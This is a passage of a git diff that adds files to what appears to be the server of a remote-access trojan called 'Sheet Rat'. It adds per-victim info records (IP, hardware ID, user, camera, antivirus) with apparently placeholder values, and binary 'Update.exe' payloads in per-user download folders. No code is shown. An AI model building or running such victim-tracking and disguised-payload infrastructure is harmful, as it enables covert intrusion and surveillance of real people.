@@ +Sheet Rat +IP: 113.112.112.112 +HWID: Xe3oC8 +User: Htj357 +MachineName: Iltqb8 +Computer: JwKL6M +Camera: Bltgrf +Cpu: zpTFrT @ 2 +Gpu: O3UdgJ +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: gzrpbV +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 8XAXhq diff --git a/Server/bin/Debug/Users/YUxyer/Info_9CMjMU_uu6pzS.txt b/Server/bin/Debug/Users/YUxyer/Info_9CMjMU_uu6pzS.txt new file mode 100644 index 0000000..6401786 --- /dev/null +++ b/Server/bin/Debug/Users/YUxyer/Info_9CMjMU_uu6pzS.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 192.192.192.192 +HWID: YUxyer +User: 9CMjMU +MachineName: uu6pzS +Computer: G5OoEB +Camera: NfwS7s +Cpu: Z9aEUy @ 2 +Gpu: qlvKBt +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: F6Eazh +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: kIzjRq diff --git a/Server/bin/Debug/Users/Yg33Ei/Info_an7qjM_IJv5xr.txt b/Server/bin/Debug/Users/Yg33Ei/Info_an7qjM_IJv5xr.txt new file mode 100644 index 0000000..6b53f8b --- /dev/null +++ b/Server/bin/Debug/Users/Yg33Ei/Info_an7qjM_IJv5xr.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 236.236.236.236 +HWID: Yg33Ei +User: an7qjM +MachineName: IJv5xr +Computer: e0dEqJ +Camera: WYZtEj +Cpu: G9mRNZ @ 2 +Gpu: jhjBf4 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: a7LYso +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: UUye7t diff --git a/Server/bin/Debug/Users/YjJJQLpt/Download/Update.exe b/Server/bin/Debug/Users/YjJJQLpt/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/YjJJQLpt/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/Z2s4xkuy/Download/Update.exe b/Server/bin/Debug/Users/Z2s4xkuy/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/Z2s4xkuy/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/ZJCSS5/Info_DdO7K1_1LWTc9.txt b/Server/bin/Debug/Users/ZJCSS5/Info_DdO7K1_1LWTc9.txt new file mode 100644 index 0000000..3368300 --- /dev/null +++ b/Server/bin/Debug/Users/ZJCSS5/Info_DdO7K1_1LWTc9.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 209.209.209.209 +HWID: ZJCSS5 +User: DdO7K1 +MachineName: 1LWTc9 +Computer: FtaczX +Camera: OMd7m1 +Cpu: oJmAmY @ 2 +Gpu: tT8CYK +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: kv5eYa +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: hTv6hq diff --git a/Server/bin/Debug/Users/ZMa9Zwu4/Download/Update.exe b/Server/bin/Debug/Users/ZMa9Zwu4/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/ZMa9Zwu4/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/aScwyvqR/Download/Update.exe b/Server/bin/Debug/Users/aScwyvqR/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/aScwyvqR/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/aXRextMc/Download/Update.exe b/Server/bin/Debug/Users/aXRextMc/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/aXRextMc/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/bkTg2Z/Info_qH2xvc_7TfYXT.txt b/Server/bin/Debug/Users/bkTg2Z/Info_qH2xvc_7TfYXT.txt new file mode 100644 index 0000000..0d9daf2 --- /dev/null +++ b/Server/bin/Debug/Users/bkTg2Z/Info_qH2xvc_7TfYXT.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 150.150.150.150 +HWID: bkTg2Z +User: qH2xvc +MachineName: 7TfYXT +Computer: 3JMrnL +Camera: evQcqj +Cpu: 44Jq6f @ 2 +Gpu: RQkD7E +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: CJofIc +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: qpPLKH diff --git a/Server/bin/Debug/Users/dA4iZe/Info_gNKq9Z_8aMaID.txt b/Server/bin/Debug/Users/dA4iZe/Info_gNKq9Z_8aMaID.txt new file mode 100644 index 0000000..ca5f5fc --- /dev/null +++ b/Server/bin/Debug/Users/dA4iZe/Info_gNKq9Z_8aMaID.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 8.7.7.7 +HWID: dA4iZe +User: gNKq9Z +MachineName: 8aMaID +Computer: UUYdOE +Camera: ewQcIe +Cpu: ojeRGu @ 2 +Gpu: xGbzwC +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: siZGkb +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: XtLh5u diff --git a/Server/bin/Debug/Users/dEvaawu9/Download/Update.exe b/Server/bin/Debug/Users/dEvaawu9/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/dEvaawu9/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/dab2RUO9/Download/Update.exe b/Server/bin/Debug/Users/dab2RUO9/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/dab2RUO9/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/e9mIr1ZJ/Download/Update.exe b/Server/bin/Debug/Users/e9mIr1ZJ/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/e9mIr1ZJ/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/eCnbzgnK/Download/Update.exe b/Server/bin/Debug/Users/eCnbzgnK/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/eCnbzgnK/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/eJhnbzgn/Download/Update.exe b/Server/bin/Debug/Users/eJhnbzgn/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/eJhnbzgn/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/eTgvIU/Info_2GbrWw_6IxRUY.txt b/Server/bin/Debug/Users/eTgvIU/Info_2GbrWw_6IxRUY.txt new file mode 100644 index 0000000..fa15096 --- /dev/null +++ b/Server/bin/Debug/Users/eTgvIU/Info_2GbrWw_6IxRUY.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 146.146.146.146 +HWID: eTgvIU +User: 2GbrWw +MachineName: 6IxRUY +Computer: z7UG0u +Camera: ezWg35 +Cpu: KvA6VO @ 2 +Gpu: dphSa8 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: h94q7C +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: vn8Cx8 diff --git a/Server/bin/Debug/Users/ej30d9/Info_dEsAwJ_LEm9vd.txt b/Server/bin/Debug/Users/ej30d9/Info_dEsAwJ_LEm9vd.txt new file mode 100644 index 0000000..58f6786 --- /dev/null +++ b/Server/bin/Debug/Users/ej30d9/Info_dEsAwJ_LEm9vd.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 26.25.25.25 +HWID: ej30d9 +User: dEsAwJ +MachineName: LEm9vd +Computer: 6pRYIW +Camera: P2lEVI +Cpu: tDOhye @ 2 +Gpu: yYA8ht +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 0fAZCt +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: pfrYRB diff --git a/Server/bin/Debug/Users/elCBqDMh/Download/Update.exe b/Server/bin/Debug/Users/elCBqDMh/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/elCBqDMh/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/f5qxpi1T/Download/Update.exe b/Server/bin/Debug/Users/f5qxpi1T/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/f5qxpi1T/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/fMqRpu/Info_6oxrAO_Ij6tCW.txt b/Server/bin/Debug/Users/fMqRpu/Info_6oxrAO_Ij6tCW.txt new file mode 100644 index 0000000..872f867 --- /dev/null +++ b/Server/bin/Debug/Users/fMqRpu/Info_6oxrAO_Ij6tCW.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 29.28.28.28 +HWID: fMqRpu +User: 6oxrAO +MachineName: Ij6tCW +Computer: DdBmR4 +Camera: ElR0U7 +Cpu: Y7Yc8M @ 2 +Gpu: ctVeNh +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: qO0cw4 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: yokhcQ diff --git a/Server/bin/Debug/Users/fpWujjKn/Download/Update.exe b/Server/bin/Debug/Users/fpWujjKn/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/fpWujjKn/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/fzFIdg/Info_VUKaRX_XlqXQl.txt b/Server/bin/Debug/Users/fzFIdg/Info_VUKaRX_XlqXQl.txt new file mode 100644 index 0000000..4f42f02 --- /dev/null +++ b/Server/bin/Debug/Users/fzFIdg/Info_VUKaRX_XlqXQl.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 109.109.109.109 +HWID: fzFIdg +User: VUKaRX +MachineName: XlqXQl +Computer: IzA5wm +Camera: AsHOEK +Cpu: 63d0W3 @ 2 +Gpu: t2SmYI +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: KXuOJ4 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: Us8XKA diff --git a/Server/bin/Debug/Users/gUt9aT/Info_iVlZbu_atwsKl.txt b/Server/bin/Debug/Users/gUt9aT/Info_iVlZbu_atwsKl.txt new file mode 100644 index 0000000..2dc9609 --- /dev/null +++ b/Server/bin/Debug/Users/gUt9aT/Info_iVlZbu_atwsKl.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 5.4.4.4 +HWID: gUt9aT +User: iVlZbu +MachineName: atwsKl +Computer: fkVerM +Camera: daMSXS +Cpu: jdPknn @ 2 +Gpu: PnPLa4 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: NTy1ty +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: BvJtdU diff --git a/Server/bin/Debug/Users/gea7gW/Info_RleE3w_7NnXXA.txt b/Server/bin/Debug/Users/gea7gW/Info_RleE3w_7NnXXA.txt new file mode 100644 index 0000000..12213dc --- /dev/null +++ b/Server/bin/Debug/Users/gea7gW/Info_RleE3w_7NnXXA.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 186.186.186.186 +HWID: gea7gW +User: RleE3w +MachineName: 7NnXXA +Computer: E7X8s3 +Camera: 7Nlo6U +Cpu: VZHQHH @ 2 +Gpu: 5Np0nM +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: Zkh1es +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: vPWSFB diff --git a/Server/bin/Debug/Users/hN4lI2wD/Download/Update.exe b/Server/bin/Debug/Users/hN4lI2wD/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/hN4lI2wD/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/hRBeuMXK/Download/Update.exe b/Server/bin/Debug/Users/hRBeuMXK/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/hRBeuMXK/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/iPrgPg/Info_2AJAVV_RpdiJk.txt b/Server/bin/Debug/Users/iPrgPg/Info_2AJAVV_RpdiJk.txt new file mode 100644 index 0000000..2e4cbea --- /dev/null +++ b/Server/bin/Debug/Users/iPrgPg/Info_2AJAVV_RpdiJk.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 119.118.118.118 +HWID: iPrgPg +User: 2AJAVV +MachineName: RpdiJk +Computer: Fv3LME +Camera: ci4zr1 +Cpu: vkqa3H @ 2 +Gpu: UFnKsB +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: lqSox6 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: tyWAbe diff --git a/Server/bin/Debug/Users/j05VVQ/Info_HcUiot_88qvYu.txt b/Server/bin/Debug/Users/j05VVQ/Info_HcUiot_88qvYu.txt new file mode 100644 index 0000000..2edbb77 --- /dev/null +++ b/Server/bin/Debug/Users/j05VVQ/Info_HcUiot_88qvYu.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 32.31.31.31 +HWID: j05VVQ +User: HcUiot +MachineName: 88qvYu +Computer: vlB3M4 +Camera: jzA42x +Cpu: VCXly1 @ 2 +Gpu: s88iXf +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: YgpGvj +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 9XSym8 diff --git a/Server/bin/Debug/Users/jIISLtrJ/Download/Update.exe b/Server/bin/Debug/Users/jIISLtrJ/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/jIISLtrJ/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/jq7MsK3l/Download/Update.exe b/Server/bin/Debug/Users/jq7MsK3l/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/jq7MsK3l/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/l4JOPbZB/Download/Update.exe b/Server/bin/Debug/Users/l4JOPbZB/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/l4JOPbZB/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/lMXqRNSZ/Download/Update.exe b/Server/bin/Debug/Users/lMXqRNSZ/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/lMXqRNSZ/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/lWtXExwg/Download/Update.exe b/Server/bin/Debug/Users/lWtXExwg/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/lWtXExwg/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/lheOLz/Info_icvIlw_kz04kL.txt b/Server/bin/Debug/Users/lheOLz/Info_icvIlw_kz04kL.txt new file mode 100644 index 0000000..b056041 --- /dev/null +++ b/Server/bin/Debug/Users/lheOLz/Info_icvIlw_kz04kL.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 60.59.59.59 +HWID: lheOLz +User: icvIlw +MachineName: kz04kL +Computer: kt50g6 +Camera: e8sNty +Cpu: ARBaop @ 2 +Gpu: 0DN1Az +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: zPrRTC +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: p9hRcN diff --git a/Server/bin/Debug/Users/lxdoUlLr/Download/Update.exe b/Server/bin/Debug/Users/lxdoUlLr/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/lxdoUlLr/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/n6PTOI/Info_mOenjM_ekNf2k.txt b/Server/bin/Debug/Users/n6PTOI/Info_mOenjM_ekNf2k.txt new file mode 100644 index 0000000..6d5ff87 --- /dev/null +++ b/Server/bin/Debug/Users/n6PTOI/Info_mOenjM_ekNf2k.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 23.22.22.22 +HWID: n6PTOI +User: mOenjM +MachineName: ekNf2k +Computer: zxZVaV +Camera: ey4cb5 +Cpu: 6i7K66 @ 2 +Gpu: QhbCSv +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: ileMuJ +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 5GR3N6 diff --git a/Server/bin/Debug/Users/nD3Zbh/Info_oqQAoG_eVKYiU.txt b/Server/bin/Debug/Users/nD3Zbh/Info_oqQAoG_eVKYiU.txt new file mode 100644 index 0000000..8ebe0af --- /dev/null +++ b/Server/bin/Debug/Users/nD3Zbh/Info_oqQAoG_eVKYiU.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 190.190.190.190 +HWID: nD3Zbh +User: oqQAoG +MachineName: eVKYiU +Computer: ecInsf +Camera: vgP4O5 +Cpu: IcwaBX @ 2 +Gpu: bi5ds0 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: ZWhbMS +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: P0Crik diff --git a/Server/bin/Debug/Users/neG9XkN8/Download/Update.exe b/Server/bin/Debug/Users/neG9XkN8/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/neG9XkN8/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/ny6Je4Zj/Download/Update.exe b/Server/bin/Debug/Users/ny6Je4Zj/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/ny6Je4Zj/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/o0vWND/Info_64C1jf_wxv8F3.txt b/Server/bin/Debug/Users/o0vWND/Info_64C1jf_wxv8F3.txt new file mode 100644 index 0000000..e1949bd --- /dev/null +++ b/Server/bin/Debug/Users/o0vWND/Info_64C1jf_wxv8F3.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 237.237.237.237 +HWID: o0vWND +User: 64C1jf +MachineName: wxv8F3 +Computer: fuIMHf +Camera: DsB7ip +Cpu: sTbg96 @ 2 +Gpu: KXkSDh +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: bayhzQ +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 5o7Ywd diff --git a/Server/bin/Debug/Users/oZkTQR/Info_oV0adr_fyUKjT.txt b/Server/bin/Debug/Users/oZkTQR/Info_oV0adr_fyUKjT.txt new file mode 100644 index 0000000..33181e7 --- /dev/null +++ b/Server/bin/Debug/Users/oZkTQR/Info_oV0adr_fyUKjT.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 122.122.122.122 +HWID: oZkTQR +User: oV0adr +MachineName: fyUKjT +Computer: dCekt7 +Camera: TsHLVy +Cpu: bdpTlp @ 2 +Gpu: xGE9x0 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 8XNkYx +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: RBjoOd diff --git a/Server/bin/Debug/Users/pnP55q/Info_l0Bwwd_MDvpUV.txt b/Server/bin/Debug/Users/pnP55q/Info_l0Bwwd_MDvpUV.txt new file mode 100644 index 0000000..fe56979 --- /dev/null +++ b/Server/bin/Debug/Users/pnP55q/Info_l0Bwwd_MDvpUV.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 205.205.205.205 +HWID: pnP55q +User: l0Bwwd +MachineName: MDvpUV +Computer: 9nWO1c +Camera: r8zPQw +Cpu: CZHaG9 @ 2 +Gpu: yTx0DW +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: QTwfr3 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: hkz0bE diff --git a/Server/bin/Debug/Users/prFgcJ/Info_UOTKjH_VFs33q.txt b/Server/bin/Debug/Users/prFgcJ/Info_UOTKjH_VFs33q.txt new file mode 100644 index 0000000..42aaf08 --- /dev/null +++ b/Server/bin/Debug/Users/prFgcJ/Info_UOTKjH_VFs33q.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 9.8.8.8 +HWID: prFgcJ +User: UOTKjH +MachineName: VFs33q +Computer: 7CTGDk +Camera: UYMXFB +Cpu: hQ1DMx @ 2 +Gpu: mOxN81 +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: rB8pL5 +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: j1t8Lq diff --git a/Server/bin/Debug/Users/qTjmFRzP/Download/Update.exe b/Server/bin/Debug/Users/qTjmFRzP/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/qTjmFRzP/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/r9rExG5V/Download/Update.exe b/Server/bin/Debug/Users/r9rExG5V/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/r9rExG5V/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/rEwukK8g/Download/Update.exe b/Server/bin/Debug/Users/rEwukK8g/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/rEwukK8g/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/rS6T0N/Info_f22Zzo_UHg1jd.txt b/Server/bin/Debug/Users/rS6T0N/Info_f22Zzo_UHg1jd.txt new file mode 100644 index 0000000..7110056 --- /dev/null +++ b/Server/bin/Debug/Users/rS6T0N/Info_f22Zzo_UHg1jd.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 98.98.98.98 +HWID: rS6T0N +User: f22Zzo +MachineName: UHg1jd +Computer: u1PAeZ +Camera: 9Rb4Jh +Cpu: Pv1ewE @ 2 +Gpu: nizLJO +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: Qnsz2k +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: QyRgPz diff --git a/Server/bin/Debug/Users/sWa1qt7L/Download/Update.exe b/Server/bin/Debug/Users/sWa1qt7L/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/sWa1qt7L/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/t33zbW/Info_BQf2nj_avjUFK.txt b/Server/bin/Debug/Users/t33zbW/Info_BQf2nj_avjUFK.txt new file mode 100644 index 0000000..4928402 --- /dev/null +++ b/Server/bin/Debug/Users/t33zbW/Info_BQf2nj_avjUFK.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 150.150.150.150 +HWID: t33zbW +User: BQf2nj +MachineName: avjUFK +Computer: 0bJZ6p +Camera: dj0Ba4 +Cpu: mgYIkw @ 2 +Gpu: mFbkfI +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: LvEM7C +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: jQgpfw diff --git a/Server/bin/Debug/Users/t88rFYF7/Download/Update.exe b/Server/bin/Debug/Users/t88rFYF7/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/t88rFYF7/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/tFQbhmYm/Download/Update.exe b/Server/bin/Debug/Users/tFQbhmYm/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/tFQbhmYm/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/tzakIylH/Download/Update.exe b/Server/bin/Debug/Users/tzakIylH/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/tzakIylH/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/uYAIKiqX/Download/Update.exe b/Server/bin/Debug/Users/uYAIKiqX/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/uYAIKiqX/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/ubZ5vQ/Info_hTF93D_oV3ChE.txt b/Server/bin/Debug/Users/ubZ5vQ/Info_hTF93D_oV3ChE.txt new file mode 100644 index 0000000..efabb7b --- /dev/null +++ b/Server/bin/Debug/Users/ubZ5vQ/Info_hTF93D_oV3ChE.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 203.203.203.203 +HWID: ubZ5vQ +User: hTF93D +MachineName: oV3ChE +Computer: RxSXml +Camera: OgbkDD +Cpu: uRrlQt @ 2 +Gpu: KrDsvA +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: uZTR0I +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: zt2piq diff --git a/Server/bin/Debug/Users/unSrEIJq/Download/Update.exe b/Server/bin/Debug/Users/unSrEIJq/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/unSrEIJq/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/v9xixo/Info_0ggVj1_zx1TvQ.txt b/Server/bin/Debug/Users/v9xixo/Info_0ggVj1_zx1TvQ.txt new file mode 100644 index 0000000..f88f541 --- /dev/null +++ b/Server/bin/Debug/Users/v9xixo/Info_0ggVj1_zx1TvQ.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 132.131.131.131 +HWID: v9xixo +User: 0ggVj1 +MachineName: zx1TvQ +Computer: 7I7BY7 +Camera: vrYOVE +Cpu: wBcT47 @ 2 +Gpu: PMzTLR +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: cMym6d +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: bok6iX diff --git a/Server/bin/Debug/Users/vJKKDg/Info_7stGBQ_OMopht.txt b/Server/bin/Debug/Users/vJKKDg/Info_7stGBQ_OMopht.txt new file mode 100644 index 0000000..263a7e2 --- /dev/null +++ b/Server/bin/Debug/Users/vJKKDg/Info_7stGBQ_OMopht.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 178.178.178.178 +HWID: vJKKDg +User: 7stGBQ +MachineName: OMopht +Computer: Rtyyr3 +Camera: oSSBvp +Cpu: F2HYgK @ 2 +Gpu: 2f5ATu +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: dntuTi +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: hbxApY diff --git a/Server/bin/Debug/Users/vkBJvb/Info_IFz9ec_jVNe02.txt b/Server/bin/Debug/Users/vkBJvb/Info_IFz9ec_jVNe02.txt new file mode 100644 index 0000000..9e5818d --- /dev/null +++ b/Server/bin/Debug/Users/vkBJvb/Info_IFz9ec_jVNe02.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 90.90.90.90 +HWID: vkBJvb +User: IFz9ec +MachineName: jVNe02 +Computer: Ig09kX +Camera: Tn075W +Cpu: llN9TW @ 2 +Gpu: rcSeaQ +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: Fm4EID +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: vFNCHM diff --git a/Server/bin/Debug/Users/vm26ts0c/Download/Update.exe b/Server/bin/Debug/Users/vm26ts0c/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/vm26ts0c/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/w51yJw/Info_g2Vyxp_xx9HrE.txt b/Server/bin/Debug/Users/w51yJw/Info_g2Vyxp_xx9HrE.txt new file mode 100644 index 0000000..68a99f8 --- /dev/null +++ b/Server/bin/Debug/Users/w51yJw/Info_g2Vyxp_xx9HrE.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 113.112.112.112 +HWID: w51yJw +User: g2Vyxp +MachineName: xx9HrE +Computer: kQgXYJ +Camera: ZKNb7F +Cpu: FM4Mw0 @ 2 +Gpu: VP6eag +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: 26kE7s +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: lE6jV5 diff --git a/Server/bin/Debug/Users/wfSMMAvU/Download/Update.exe b/Server/bin/Debug/Users/wfSMMAvU/Download/Update.exe new file mode 100644 index 0000000..cb3f6b1 Binary files /dev/null and b/Server/bin/Debug/Users/wfSMMAvU/Download/Update.exe differ diff --git a/Server/bin/Debug/Users/wzVbNA/Info_oirBu1_rKZ1nU.txt b/Server/bin/Debug/Users/wzVbNA/Info_oirBu1_rKZ1nU.txt new file mode 100644 index 0000000..733b624 --- /dev/null +++ b/Server/bin/Debug/Users/wzVbNA/Info_oirBu1_rKZ1nU.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 84.84.84.84 +HWID: wzVbNA +User: oirBu1 +MachineName: rKZ1nU +Computer: QtfCkF +Camera: QGPQZi +Cpu: e5doCC @ 2 +Gpu: OzkR2r +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: H2570I +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: K58ZEb diff --git a/Server/bin/Debug/Users/xP33Im/Info_QJIq6P_FJUuuV.txt b/Server/bin/Debug/Users/xP33Im/Info_QJIq6P_FJUuuV.txt new file mode 100644 index 0000000..3a115ee --- /dev/null +++ b/Server/bin/Debug/Users/xP33Im/Info_QJIq6P_FJUuuV.txt @@ -0,0 +1,15 @@ +Sheet Rat +IP: 88.87.87.87 +HWID: xP33Im +User: QJIq6P +MachineName: FJUuuV +Computer: zBVSK1 +Camera: S5wmSi +Cpu: yjW6Ci @ 2 +Gpu: HvcYnx +Ram: 16 GB +Gpu Memory: 16 GB +Windows Version: ky6LHM +Payload Version: v1.0 +DataInstall: 01.01.2025 +AntiVirus: 0duPsv diff --git 